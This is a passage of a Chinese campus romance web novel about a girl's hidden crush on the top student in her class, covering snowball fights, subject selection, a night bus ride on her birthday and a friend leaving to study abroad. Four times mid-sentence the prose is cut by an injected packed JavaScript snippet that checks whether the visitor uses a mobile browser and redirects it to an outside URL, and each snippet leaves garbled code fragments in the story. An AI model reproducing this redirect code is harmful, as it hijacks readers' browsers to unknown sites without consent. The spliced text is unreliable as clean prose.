祝瑶不爱凑这种热闹,于是一个人默默蹲在边上,安静地用手指头在雪地上写字。 起初是在默写古诗词,可写着写着,竟然不自觉写了——江碧鸟逾白,山青花欲燃。 心虚似的,她用力往雪地上踩了几下,将“证据”毁灭殆尽。 习惯性的,开始找他在那儿。 陈逾白其实和普通的男高中生几乎没有什么区别,如果说有,那就是他连打雪仗都很讲究分寸吧。 不会认为是在开玩笑就随便攻击路过的女孩儿——真的会有男生这么做。 就比如此时此刻,祝瑶后脖迎来重重一记冷击。南方的雪含的水汽太重,所以很快就在她的外套融化,水涔涔一片。 这种时候计较也没多大用处,反而会让别人觉得你开不起玩笑。 她冷到哆嗦地几乎要耳鸣时,突然出现道声音,“道歉。” 下一秒,扔她雪球的男生就被陈逾白拎着脖子差点给她跪下。 “对不起啊。” 一件冬季校服外套落到她头上,她透过散光的路灯光晕看见他嘴唇开合,“冷,穿这个吧。” 185尺寸的外套很宽大,却又实在温暖。残留的说不出牌子的洗衣液味道,清清淡淡,令人心安,与这漫天的雪意几乎融为一体。 此时祝瑶只想得到一句话。 它朝若是同淋雪,此生也算共白头。 即使下一秒是世界末日,此生也不算亏。 然后她看着陈逾白跑远,在一阵阵拍碎又重组的雪球残影中,鲜活得像是要跳出天地的画框。 那天回宿舍,她接了盆水,对着这件外套无从下手。 犹豫很久,还是在入水前掏出陈逾白的物品。 一个蓝牙耳机盒。 一张巴掌大小的照片。 照片上有三个人,三个人中祝瑶认识两个。 陈逾白、书店的老板,以及一个不知名的女孩子,漂亮、亮眼,亲切地贴着陈逾白的肩,面对镜头笑眼弯弯。 很难说清是什么样的心情。 也有很多个得不到回答的问题,在脑海中徘徊不去。 嫉妒谈不上,愉悦则是丝毫不搭边。 好幼稚啊,因为他,对一个素不相识的女生耿耿于怀。 祝瑶“唰”一下把照片倒扣,默不作声把外套塞进水里洗了个干干净净,也把自己乱七八糟的想法洗了个干干净净。 宿舍里的洗衣液闻起来是香的,可是等衣服晾干,似乎又完全不抵那外套从天而降落到她头上的气息。 在第二天清晨,祝瑶第一个进入班门,把叠得整整齐齐的外套放在他的桌面上,悄无声息、无人发现。 很奇怪的是,就连还东西时有可能的、正大光明的对视和对白,她都没有做好心理准备去面对。 她也很讨厌这样的自己。 期末成绩出来,班级座位按排名又是一次彻底的大洗牌,除了稳坐第一的陈逾白。 祝瑶挪了座位,然而巧妙的是,同桌还是江然,搞竞赛的偏科大王沦落至此,也是让人唏嘘。 他是很会调节气氛的那一类同桌,插科打诨不在话下,是会在上课的时候拉着你在草稿纸上下五子棋、下课大大咧咧给你讲题、晚自习还能顺便抄一波你的文科作业的人。不得不承认,有他在旁边,祝瑶算是融入了这个初始对她来说很陌生的班级。 可是高中的节奏实在太快了。 放假前,班主任发下了选科分班志愿表,让他们进行第一轮预选,下学期开学,就直接终选走班了。 那年正逢实行了十几年的高考政策开始改革,规则几乎天翻地覆,打得他们措手不及,他们这一届的学生就像被用于实验的小白鼠,浑然不知道改革的结果是好是坏,就连老师都给不了太多的建议,大家都怀着一种面对未知的态度摸索前行。 但毫无疑问,一班板上钉钉是“物化生”班。 祝瑶其实每门成绩都算平均,不好不差,稍微突出一点的就是语文成绩,而恰恰对于她这样的学生来说,选择是最难的。 分班表交上去之后,班主任一个个找学生约谈,找到祝瑶的时候,她很忐忑。 “你选物化生吗?”小老头扶了扶眼镜,靠在工位的座椅上,客观地评价说,“虽然将来可报的大学专业更多了,但选择这个组合几乎都是顶层的学生,一段一赋分,对你来说,不算很有优势。” 言下之意,祝瑶并不算得上是很顶尖的学生,大概会在竞争中落到下乘。但是面对全新的形势,其实小老头也说不准、也不敢确定什么选科组合才比较适合这姑娘。 “嗯。”祝瑶认真地思索过后点头,说到后面有点不太自信地小声道,“……我想试试。” 试试吧,试试成为那个最后才登场的主角。 其实她也没有其他更好的选择。 祝瑶运气还算不错。 改革的第一年,所有人都很持一种很保守的态度,不敢选择那些刻板印象中“很难”的学科,选物理和历史的人数比竟然达到了1.8:1的地步,差距之小在往年是从未有过的情况,省内选择“化学”这一学科的人数更是少到令人大跌眼镜的地步。 也因此,省教育厅应运而生了这样一项政策——这一届,凡是选化学这一科的,高考赋分保底六十分,也就是说,即使交的是白卷,也能及格。 多少学子长吁短叹认为不公平,事实上这已经是为了确保公平而做出的让步了。 高考,有人说成是英雄造时势, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078751|163443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟每年涌现的天才都风光无量、惊才绝艳。但对于大多数普通人来说,是时势造英雄,有时候,一个恰好的选择,也许能改变人的一生。 寒假前一天,老班带大家外出吃了一顿散伙饭。 李千莹把祝瑶拉到了她那一桌。 陈逾白和一群男生全神贯注地打游戏。祝瑶坐在圆桌的他的斜对面,看着他被很多人包围,本该还万分忐忑地想,万一他抬头看了一眼,万一她恰好接触到了他的目光,那应该怎么办。可是呢,她做了那么多的心理准备,全都是作废的无用功,因为他甚至没有稍微抬头看一眼。 她安静托腮看着他们笑,他们闹,心想: 如果她也能那么外向就好了。 如果她能有那么合群就好了。 这天,千莹偷偷喝了点低度数的鸡尾酒,散伙饭快结束的时候,发酒疯似的对祝瑶说:“我要去别的班啦,小瑶瑶,我不在,你给我收起你那死脑筋,该拒绝就拒绝,再当个老好人小心我骂你圣母。当然了,要是谁欺负你了去找我帮你出头哦。” 太可惜了,半年的时间实在是太短,其实他们还没有成为很长时间的朋友,就面临到了“分别”这一成长中的必经路。 祝瑶回家前,最后去了一次书店。 而这个决定也没有让她失望。 -下学期见,天外来客同学。 开到这个“盲盒”,祝瑶怀着一种隐秘的欣喜,又怀揣着无名的惧意,也许是怕陈逾白发现她是谁后会感到失望吧,她忐忑地写上,“下学期见”。 因为有了想见的人,似乎连放假都成了一种煎熬。 嘴里和朋友抱怨着上学真累,实际上,心里却很期待。 这种心情,多半要被很多没有过“暗恋”这般经历的人笑叹“矫情”“疯了”和“傻子”。 春节,祝瑶又一次像被踢皮球一样,辗转于两个家庭之中。 反正去哪儿都不受欢迎,也无所谓了。 但是她不再画地为牢、顾影自怜地难过了。 她有了想做的事。 一整个假期,大部分时间,她都窝在自己小小的房间里,复习、预习、做题,竟然也觉得很愉快。 假期前学校发了张高一上每次考试的排名表,意在激励同学们假期奋力追赶。 祝瑶仔仔细细地研究了很久,除夕跨到大年初一的0点,她工整地挑出关键部分摘抄了下来。 高一上第一次月考:陈逾白,年级1;祝瑶,年级521. 高一上期中六校联考:陈逾白,年级1;祝瑶,年级401. 高一上第二次月考:陈逾白,年级1;祝瑶,年级349. 高一上期末市统考:陈逾白,年级1;祝瑶,年级322. 即便如此平庸而笨拙,也许一辈子都望尘莫及,大概率永远做不到让他刮目相看一次,她也曾经默默用尽过全力,不再后悔了。 祝瑶有了一个新年愿望,一个看似有点痴人说梦的目标。 ——她想要成为陈逾白的同桌。 6. 06 开学重新分班那天,只干了一件事,就是辞旧迎新。 一班只离开了五个人,祝瑶帮李千莹搬书到新班级,回来的时候看着陈逾白同桌空出新位置,有一瞬的怔然。 也进了五位新同学,他们背着书包整整齐齐出现在门口,老班还搞了个欢迎仪式。 在本学期换座位之前,他们暂时坐在空出来的位置上,陈逾白旁边就坐了新同学,一个女孩子,叫严薇。她刚在一班露面,祝瑶就听见了旁边江然的惊呼:“哇噻,漂亮啊!” 有这种反应的男生不止一个。 祝瑶那时正在草稿纸上计算,听见此起彼伏又非常整齐的赞叹声,不免也抬头看了一眼,果不其然,是那种无论男生女生都会喜欢的漂亮。 她在欣赏的同时,也出神地在想:所以呢,陈逾白他也会喜欢吗? 男女同桌,多么暧昧的词。 在这个躁动又被抑制的青春期,同桌已经是最暧昧的关系了。 她求而不得的,恰恰别人刚出现就有。 命运如此捉弄人。 尽管在下一次大考之后,他们就脱离了短暂的同桌关系,但是祝瑶还是会时不时看向那个女孩子,因为羡慕。 而班级里早已涌现一批他们俩的“cp粉”。在这个年纪,只要看起来相配,就有很多“好事者”自发起哄为一些似有若无的“绯闻”添砖加瓦。 祝瑶不知道真实性,但是每日耳边充斥着这些,即使不是真的,也会难过。 尤其江然作为陈逾白的好兄弟,也是这些“好事者”中的一员。 无人可分享的时候,江然会跟她讲小话,说陈逾白的反常,言之凿凿地说陈逾白像是有喜欢的女孩子了。 这对于她来说不亚于晴天霹雳。 有时候就是这种没有实锤的猜测,而且是来自半知情者的内幕消息,才更令人心碎。 她没有渠道去求证,也不愿意去求证。 她那段时间甚至讨厌自己,讨厌自己为什么不那么漂亮,讨厌自己为什么不那么聪明。 可是她是很奇怪的人,越难过的时候,越有动力努力,也许算是一种麻痹。 她连书店都很少去了,从每周一次,逐渐延迟到每月一次,甚至有两个月,一次都没有去。一方面是她很难以好的心态去面对被她用文字“欺骗”着的陈逾白,不敢让自己奢望什么;另一方面,她学习的压力太大了,每日周旋在物理、化学、生物之中,已经要把她的精力全都榨干。 -天外来客同学,失踪人口什么时候回归? -学习忙,最近都不来了。 -你想要年级第一啊? 年级第一,这是个有歧义的词语,可以是个位置,也可以是个人。 陈逾白毋庸置疑指的是那个高高在上的位置。 -嗯,想要。 然而,她想要的是个人。 五月,江然兴致冲冲地告诉她,他和陈逾白要一起去参加数学竞赛预赛了。 竞赛对于她很陌生。 “一般来讲,竞赛的主力军是高二的学长学姐,咱们高一的就是去试试水,明年再参加才是重头戏。”江然吊儿郎当叼着笔盖,写下请假条,“不过没准儿今年就能考出写名堂呢,运气好的话,保送也不是梦啊。” 祝瑶当时并不知道保送是怎么样的概念,她只知道既然是考试,那就该为他们加油。 可她能够正当的地对江然说“加油”,却没有任何立场对陈逾白说。 初赛捷报传来,没什么意外地进了九月的省数学联赛。 整个夏天,祝瑶都窝在自己的座位上,听着空调风扇呼呼转着,看陈逾白的座位上时而有人,时而请假空着。 夏至的平分线,像是隔开了两个不同的世界。 一个有刺目耀眼的太阳,一个大雨滂沱,轻而易举就被浇透全身。 九月,升入高二,联赛也落下帷幕。晚自习的时候听江然说,他拿下了省二等奖,而陈逾白拿了省一,这对于高一的学生来说,已经是很优异的成绩了。 怕她没概念,江然还特别解释,拿到这个成绩,在高考前的高校综合评价招生中,可以降分录取。 不过,陈逾白大概根本不需要这三瓜两枣的降分。 “可惜老陈差一点点进省队。”江然叹惋,“不过也是很牛逼了!多少竞赛生到高三了都拿不到这个成绩。明年估计会更牛逼。” 是啊,已经很厉害了。 “你也是。”祝瑶真心实意地说。 江然:“什么?” “很牛逼。”祝瑶说。 他挠了挠头,笑起来,有点不好意思:“怪不习惯的,感觉这话不像是从你嘴巴里说出来的。” “啊?” “你是那种,说话会文明地把‘牛逼’改成‘厉害’的那种女生。” 祝瑶怔了一下,礼貌笑笑,拿着水杯去长廊那头接水。 出门路过窗边,她习惯性地往一排一座扭头看,陈逾白不在。 接水回来,发现红笔没墨了,她抬眼看了下班级时钟,还有六分钟,第二节晚自习就开始了。 想了想等会儿还得整理错题,她决定还是跑一趟小卖部。 挑个笔芯不过是分秒之间的事,祝瑶迅速拿好,一转身,在另一面货架上看到泡腾片,为了醒醒脑子,她拿了两片。 也正是在这时候,她听到了不远处熟悉的声音,“老板,结账。” 从货架间走出去,果然一眼看到了陈逾白。 现在虽是九月,但南邑依然暑气难消,他没穿校服外套,身上是件纯色T恤,臂弯里抱着个篮球。 他随意地捋了捋头发,碎发浸润了水珠,不堪承受重力滴落到脖间,滑过凸起喉结。 原来他逃了晚自习去打球。 祝瑶太熟悉陈逾白的表情和语气了。拽拽的、高兴的、自恋的、懒散的……毫无疑问,现在是不开心的。 为什么呢? 明明拿了奖,连江然都快乐得像是要起飞,他为什么不开心呢? 想来想去,可能也只有没进省队,这一个原因了。 可是她想告诉他。 你已经很厉害了,你就是很好啊。 然而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078752|163443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些话只能在心里说一说。 老板从收银台电脑里播的电视剧中移开眼,开始扫商品条码。 祝瑶摩挲了下手里的泡腾片,默默走到他后面排队。 尽管满身是汗珠,他身上的气息竟然很清新。 扫描仪发出的“滴”声不间断地响起,东西结算完毕,老板刚要往刷卡机上按数字,陈逾白却抬手拦住他,“等等。” 祝瑶正盯着他的T恤下摆看线头的针脚,专注到有些出神。 陈逾白突然回头,吓了她一大跳,他指了指:“算上她的。” 对视上的那一刻,大脑瞬间是空白的,出走的注意力瞬间回归,她条件反射摇头。 陈逾白一瞬无语到笑了一下:“你都要跟我作对啊,喂,我请,很难得的。” 她听出来他心情似乎更糟了,于是小声道了谢,把东西放在收银台上。 陈逾白捏着校卡,食指拨了拨,放到刷卡机上。 老板娘示意:“密码。” 校卡密码默认是身份证上的生日。 陈逾白指节快速按了几下。祝瑶抿了抿唇,还是探出眼神偷偷看了两眼。 1111。 他大概天生是要做第一名的人吧,连生日凑的数字都那么好。 出了小卖部的门,第二节晚自习的铃声就打响了,祝瑶却没有着急忙慌地狂奔。迟到就迟到吧,在这一刻有什么关系呢。她只是慢慢悠悠地跟在陈逾白后面,不远不近的距离,小心翼翼地踩着他人在月光下的长长的倒影边边。 月亮曲高和寡地挂着,让人感叹:今夜月色真美啊。 可惜了,风并不温柔。它没有回音。 不过那又怎么样呢。 看过无数次背影,仍然觉得幸运。 少女的沉沦快得不可思议,也许根本不需要什么死去活来的原因。如鼓的心跳久久不能平息,它就是证明。 枯燥的高中生活里出现过这样的人,本来就是幸运,不是吗? 长大以后,还会遇见一个如此令她心动的人吗? 不会再有了,她想。 这条小卖部到教学楼的路,不止一次被学生吐槽太长太远,不方便来回,但这个瞬间,她却觉得好短好近。追着他影子梦游,一下子就被惊醒。 回到班级座位上,祝瑶一会儿觉得自己在小卖部的愣样像个呆呆的傻子,非常丢人,一会儿又庆幸,幸好自己临时做出了去买笔芯的决定。 有些时候费尽心思的偶遇,不如天时地利的迷信。 她可能只是个某个无关紧要的世界NPC,他却是实实在在的主角。 庸庸碌碌的NPC,只能等着主角主动来触发剧情。 泡腾片丢进水杯里,立马翻涌起来,细密的小气泡争先恐后往上浮,伴随着轻微的滋啦声,变为清澈的马卡龙黄色。 因为陈逾白喜欢柠檬维他,所以爱屋及乌,渐渐地,祝瑶也爱上了这般味道。 柠檬味的泡腾片入水,就像是被搅起波澜的青涩暗恋,一丝丝甜的表面下,涌动着很多很多不为人知的酸。而人却甘之如饴。 7. 07 高二上学期很忙,这学期结束时要进行小高考,无论文理,都需要把所有已学科目都考一遍,合格才能参加高考,并不是分科之后就完全不用学其他学科。 理科班这帮人自从分班之后,学文科都是半吊子地学,这会儿历史、政治的大批背诵手册发下来,班里叫苦不迭。 祝瑶倒是一直很认真,甚至还做了笔记。在这种众人忙碌到不能兼顾的时刻,她却能喘口气儿。 江然借了她的笔记,一边速翻,一边叫喊着:“这什么玩意儿啊?‘天若有情天亦老’怎么就体现哲学规律是客观的?怎么学政治还要语文好呢?” 天若有情天亦老。听着这句,祝瑶有些出神。 天若是真的有情就好了。 那样就不会,让她在陈逾白生日那天找不到任何借口给他送生日礼物。 那样就不会,让她在被其他班的女生拦下帮忙送礼物时,不知该如何拒绝。 那样就不会,在她想问一问陈逾白,同学们传的那些“你有喜欢的人”是不是真的时,没有丝毫丝毫理由问出口。 甚至,唯一一个能和陈逾白说上话的机,也被她亲手掐断了。 她再也没去书店。 她不想用一个编造出来的身份再欺骗陈逾白了。 * 小高考和期末考几乎无缝衔接,同时复习这么多科目实在太难了,祝瑶感觉时间不够,于是晚自习下课之后她都会多留一会儿。 第一节晚修下课,趁着办公室门还没关,祝瑶急匆匆跑去打座机。电话接通,妈妈声音急促:“怎么了,有什么事情吗?急吗?” “没什么,就是……”祝瑶吞吞吐吐。 “不急啊,那放假回来再说,我现在得接你弟弟下延修。” 紧接着一串钥匙碰撞“叮叮当当”的声音响起,还夹杂着她那位继父的叫喊声,通话就这么结束了。 祝瑶举着电话,手还停顿在耳边,一动不动,她无助地垂下眼睫喃喃道:“就是……今天是我的生日,想听你说一句生日快乐啊。只是一句生日快乐而已。” 她是个固执的人。在被遗忘这么多次之后,却仍然渴望能够被人挂念在心上。 1月11日。这么多个数字1组合在一起,似乎与陈逾白不同的是,并不是在暗示她要成为第一名,并不是在说明她是被父母放在心口的“唯一”,而仅仅是预告了她注定是形单影只、生而孤独的人。 祝瑶吸了吸鼻子,轻轻抹了下眼角,动作迟缓地转过身,就在那一刻,扭头撞上了陈逾白抱着一堆晚自习考的试卷进来。 她赶紧埋下头去,扭过半张脸,逃也似的匆匆出了门。 人倒霉起来发生的坏事总是接踵而至。 她总是在很狼狈的时候被他撞见。 什么时候,也能让你见见我闪耀的样子呢? 放学之后,热闹喧嚣劲儿过去,北风一作,枯枝败叶扫落到窗户上,发出窸窸窣窣的声音,听着有点渗人。 可她不害怕。 因为意外地,她不是一个人。 陈逾白也没走。 他睡着了,塞着耳机,估计是没听见下课铃。 江然他们像是想故意开个玩笑整整他一样,竟然也没叫他。 祝瑶按计划复习完,收拾好书包,望向陈逾白的位置发了一小会儿呆。她不知道该不该叫醒他。 也正是这犹豫的数秒,陈逾白自己醒了。 祝瑶送了一大口气,背着包无声无息地出了门。 她不想回宿舍。 不远处末班地铁在高架桥上通行,发出的呼啸声好像鲸鱼的哀鸣,在纷乱嘈杂的中央孤独地流浪。 一直困在学校里并没有实感,可是这一刻,她忽然好想出去看看,看看夜幕之下的高楼大厦、看看宽阔的街道、看看尘世百态。 祝瑶一路低头走到校门前,但是看到端坐在保安室的老大爷,又不知如何是好了。 “想出去?”身后冷不丁冒出一个声音。祝瑶几乎僵住。 陈逾白单肩挎着包,散散漫漫地抻了抻腰,“翻墙呗。” 这么胆大包天的事情,陈逾白说出来竟然游刃有余、习以为常。 “没翻过墙的高中是不圆满的,试试?今儿就带你体验一下。” 祝瑶和他无声对视,心脏被这阴嗖嗖的冷风一吹,竟是噼里啪啦地弹跳。 “怕了?你真以为这墙没人翻过啊?翻进来为了拿作业的、凌晨翻出去约烧烤的,多的超乎你想想。”陈逾白收了耳机线,把书包往围墙外边扔,双手一撑,人就这么跳了上去,他半撑在上面喊,“伸手,我接着你。” 祝瑶当下脑中一片空白,呆呆地听话照做。 跳下围墙的那一瞬,好像缠绕在她身上的枷锁都打开了。 她完全获得了自由,却不知去哪儿。 陈逾白三两下拍掉了书包上的灰,然后看她毫无目的地在乱转,最后眼神钉在公交站台的排版信息表上。 “这个点只有夜间公交,平均半小时一趟。”他问,“你想去哪儿?” 摇头。 “去哪儿都行?”陈逾白挑了挑眉,“那就坐下一趟,无论哪一路,想坐到哪儿是哪儿。” 想坐到哪儿是哪儿。 从来没有一个人对她说过这样的话。 两个穿着校服的高中生在路边,隔着一段距离,不远不近,无言而立。 祝瑶将脚底的砖块数了一遍又一遍,最后才小声地问:“你不回去吗?” 陈逾白望向黑夜里乍现的灯光,打了个手势道:“来了。” 是11路。 从来没有坐过的一路公交,终点站是火车站,距离一中所在的城区远得可以。 两人一前一后上了车。深夜的车厢空无一人,头顶幽深的灯光莫名营造出了一种恐怖的氛围。 “你不回去吗?”车内外温差极大,祝瑶盯着窗户上液化出的雾气,再次问了一遍。 “压力大,偶尔溜出来放松放松。” 他这种无所谓的语气真的是因为压力大吗?祝瑶低头揪了揪衣摆。 他们就是两个认识但交集并不多的普通同学,气氛一冷下来,就不知道有什么好聊的了。 谁知道他又突然开口:“怎么,赶我走?是想让所有人都知道这辆车被你承包了?” 祝瑶:“……” “听歌吗?” 祝瑶迟疑顷刻,点了点头。 陈逾白又不说话了。他递来一侧的耳机,松散地靠在椅背上闭上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078753|163443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了眼睛。 冰凉的耳机线贴上她的侧脸,顺势蜿蜒而下。 祝瑶有点好奇他的歌单。 正在播放的是一首英文歌。她没有听过,也并不知道歌名,只能暗自在心里先记下旋律,之后再想想办法找一找。 第一次一起听的那首歌,有句歌词,很多年后她都记忆尤新:“Everythingthatkillsmemakesmefeelalive.” 好像是第一次,这么近的距离。 虽然不知道陈逾白今天是什么情况,但是好开心啊。 祝瑶克制地不去看他,偏了头去看另一侧的窗。外面是热闹喧哗的城市,里面是一根耳机线连接起来的狭小世界。 又一首英文歌结束,自动切到下一首。 前奏一响,熟悉到极致的旋律让祝瑶霎时怔住。 周遭像是被包裹在真空的罩子中,寂静了一秒后,耳中近在咫尺地响起歌声。 “HappyBirthdaytoyou,HappyBirthdaytoyou,HappyBirthdaytoyou~HappyBirthdaytoyou.” 那一瞬,祝瑶像是被用定身术定在了原地,她不可思议地扭头望向陈逾白。 这……也是他的歌单中的其中一首吗? 是巧合吗? 车里的白灯散发着朦胧的光,照在他身上时显得柔软又触不可及。 他没看她,置身事外一般。 再下一首。 “对所有的烦恼说拜拜,对所有的快乐说嗨嗨,亲爱的亲爱的,生!日!快!乐!每天都精彩!” 陈逾白还是没反应,他垂着头,左臂屈起搭在车窗边的横杠上,右手食指有规律地点着,散漫、百无聊赖地看着外面华灯溢彩的夜景。 平静而自然,好似丝毫没有发现这两首歌有什么问题。 他不说话,举重若轻。 祝瑶抬头往车前方司机旁的公共时钟看了一眼。日期显示1月11日,这一天还并没有过去。 她不知作何感想,吸了吸鼻子道:“谢谢啊。” 很小的音量,不知道他有没有听见。但不管怎么样,都谢谢。 夜间的公交车还在行使,后来也陆陆续续上来一些乘客,各自安静坐在车的角落。 而他们俩要去哪儿? 不知道。也许就是这一路公交的终点站。 一中站,梧桐路站,人民医院站……南邑站。 南邑站……人民医院站,梧桐路站,一中站。 祝瑶跟了陈逾白一路,又或者是陈逾白跟了她一路。 直到最后又回到一中。 对于一座城的认知是由一段段疯狂的记忆构成的。所以才会有爱一个人,爱一座城这种说法。 也许以后,回到南邑随便走几步,随便乘上一辆公交,都有他存在的影子。 而当时的祝瑶,没有想到那么多,她只是看着窗外忽闪而过的华美夜景,以及高悬着的遥不可及的月亮,心里想着: 如果有一天,月亮能够奔我而来,那就好了。 十七岁生日快乐。 我曾收到过最好的生日礼物。 ——来自陈逾白。 8. 08 高二上学期一晃而过,高中生活已经过半。 期末考最后一门结束,黄昏降临,李千莹从楼上跑下来到一班喊人去校外吃饭。 喊了好几个。祝瑶包含在内自不必多说,竟然还有她早八百年的同桌陈逾白。 考完试就只有两种学生类型,一种是考完死不对答案的,另一种就是死都要对答案的。一路上叽叽喳喳围着陈逾白问解题的声音就没停过。 陈逾白不知从什么时候开始感冒的,回应别人的声音很哑,鼻音有点重,时不时还咳两声。 祝瑶听着他们说话,拉过李千莹问:“怎么突然要请客……” “秘密。”她道,“等会儿你就知道了。” 校外餐厅的生意很好,考完试出来放纵的学生也不少,一堆人找了一张桌围坐下来点菜。 对答案的热潮还没结束,陈逾白大概实在没办法了,伸手拿起点菜的圆珠笔,翻过菜单的面儿,直接“唰唰”几笔列出式子,“懂了?” 祝瑶往纸上的答案一瞥,嗯,她做对了。 没多久,点的几道菜就上了。 江然终于问到了此行的目的:“李千莹,怎么突然要请我们这帮老同学吃饭?” 闷着头吃的祝瑶也停下来,静静地听。 李千莹放下筷子,翻了个白眼说:“怎么着,没事不能请啊?” 江然耸肩摊了摊手:“我没这么讲哈。” “好了,开玩笑。”她故作轻松道,“是有个事儿得说一下。” 李千莹:“下学期……就不能跟你们一起吃饭了。” 江然的筷子停滞在空中,扭头问:“啊?为什么?” “我要出国了。”她说。 一中出国的学生不在少数,而且高二这个时期是出国的高峰期,李千莹早就考过雅思,出国虽在意料之外,但也在情理之中。 餐桌上寂静一瞬,随后就七嘴八舌了起来:“恭喜恭喜啊,脱离高考的苦海!!” “去哪个国家?” “苟富贵勿相忘!” 祝瑶在其他人问得七七八八了之后,才抿了抿唇问:“那什么时候会回来?” 李千莹:“不知道呢,不知道会读多久。” 本科,硕士研究生……也许还有。 四年,七年……还是更久。 一次分别后,可能换来的是永久分别。 这句回答说出来时,她好像也很感伤。 似乎……也有很多不舍。 一群人插科打诨把伤感的气氛赶跑,桌上又恢复热热闹闹的景象。 祝瑶低头眼神放空了会儿,然后说要去冰柜里拿瓶饮料,短暂逃离餐桌。 今天话一直很少的陈逾白倏然出声:“麻烦顺便帮我拿一瓶。” 自不知是什么时候的上次说完话之后,这还是他开口对她说的第一句。 “要什么?” “随便。” 江然也搭了句:“也给我带瓶冰可乐。” 祝瑶“哦”了声。从鼻息里叹出一口气,感觉脑子里乱作一团毛线,还来不及整理,低头快步出了包厢。 她打开冰柜门将两瓶一模一样的冰水拿出来。澄澈的液体在包装内清脆地发出晃荡声,指尖晕染上水珠。 少顷,她又打开柜门,将其中一瓶放了回去。 祝瑶叹了口气。 感冒成什么样了,还喝冰的,不要命了。 她转而问老板娘要了热水,随后揣着回去。 “怎么这么久啊。”江然接过她递来的冰可乐。 “等水烧开,花了点时间。”她温声回。 懒洋洋歪在椅背上的陈逾白眉梢一挑,神情微妙地摸了下杯壁,感觉到温度后,手指往上敲了敲,没说什么。 “开水??”江然笑出声,“他说随便,真就这么随便啊。” 祝瑶顿了两秒,撇开视线,装没听到。 李千莹说:“怎么啦,给我省钱啊?饮料也值不了多少。” “没有啊……” 奇妙的误会。但祝瑶不知道怎么解释。 这是个平平无奇的夜晚,一群学生出校门吃了顿“散伙饭”,再一如往常地回去。唯一不寻常的就是,李千莹喝了酒,有些微醺。 她抓着祝瑶的手臂,倒在阶梯的台阶上,怎么爬都爬不起来。 于是索性就坐在台阶上开始哭。 祝瑶手足无措,只好坐她旁边一下一下拍着她的背,问怎么了。 “其实我一点儿也不想出国。”她说,“这里有我喜欢的一切,好讨厌在一切变得熟悉起来时,突然离开。” 祝瑶说我知道,进入一个新环境很难。 千莹用不太好使的大脑回忆说:“哦对,高一刚开学那会儿你就是这样,孤孤单单的。见第一面的时候觉得你特别高冷,身边一直没有朋友,感觉我们不可能成为朋友那种关系。可是突然有一天,我瞥见你盯着窗外的雨看,那一帧好像一幕电影的画面,描述不出来那是怎样的感觉,但当时突然就产生了一个冲动,我想跟你说说话……所以明明有那么多可以调换作座位的人,我偏偏去找你了,我是故意的……” 祝瑶的心霎时一颤,纷繁错杂的情绪涌了上来。 讲着讲着千莹又岔到了另一个话题:“你还记得,我跟你说过我家里人不想让我和男生做同桌,是因为我有‘前科’吗?” 祝瑶:“记得。” “他,”李千莹抹了抹眼睛,重复了一遍这个称呼,“他,是我初中时的同桌。” 祝瑶做好了一个倾听者的自觉,“然后呢?” “坐了三年的同桌,打打闹闹,互相嘴炮,知道彼此的生日、喜恶、习惯……约好一起考上一中。” 祝瑶:“你……喜欢他?” “什么算喜欢?我只知道,无论我做什么事情,首先会想到他。想我如果我每次成绩考高一点,他在路过楼下红榜的时候会不会抬头多看几秒,也许会跟身边的人炫耀说‘看,这是我曾经的同桌’;想我在运动会上穿那么花枝招展,像个骄傲的孔雀,他会不会也‘哇噻’一下……想了好多好多。” 也许是要离开了,李千莹把平常为了保持开朗假象而深埋于心口的真心话全部都抖落出来,而祝瑶却惊诧于她这样的性格竟然也拥有于这么多、这么难宣于口的小心翼翼……与自己如出一辙。 那是种很复杂的情绪,有关于真挚的友情,有关于难舍的分别,有关于感同身受的青春期情感…… 祝瑶把心中的酸压了下去,顺着她的话问:“那他……知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078754|163443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道吗?” “他怎么会知道?”李千莹蓦地笑了,“在他眼里,我是他‘兄弟’,是两肋插刀,他要是知道,我们还能做朋友吗?守在这个身份上进不得,退不甘,患得患失,好辛苦啊,从来没有拥有过一次,却像失去了千万次。” 须臾祝瑶也默然了。 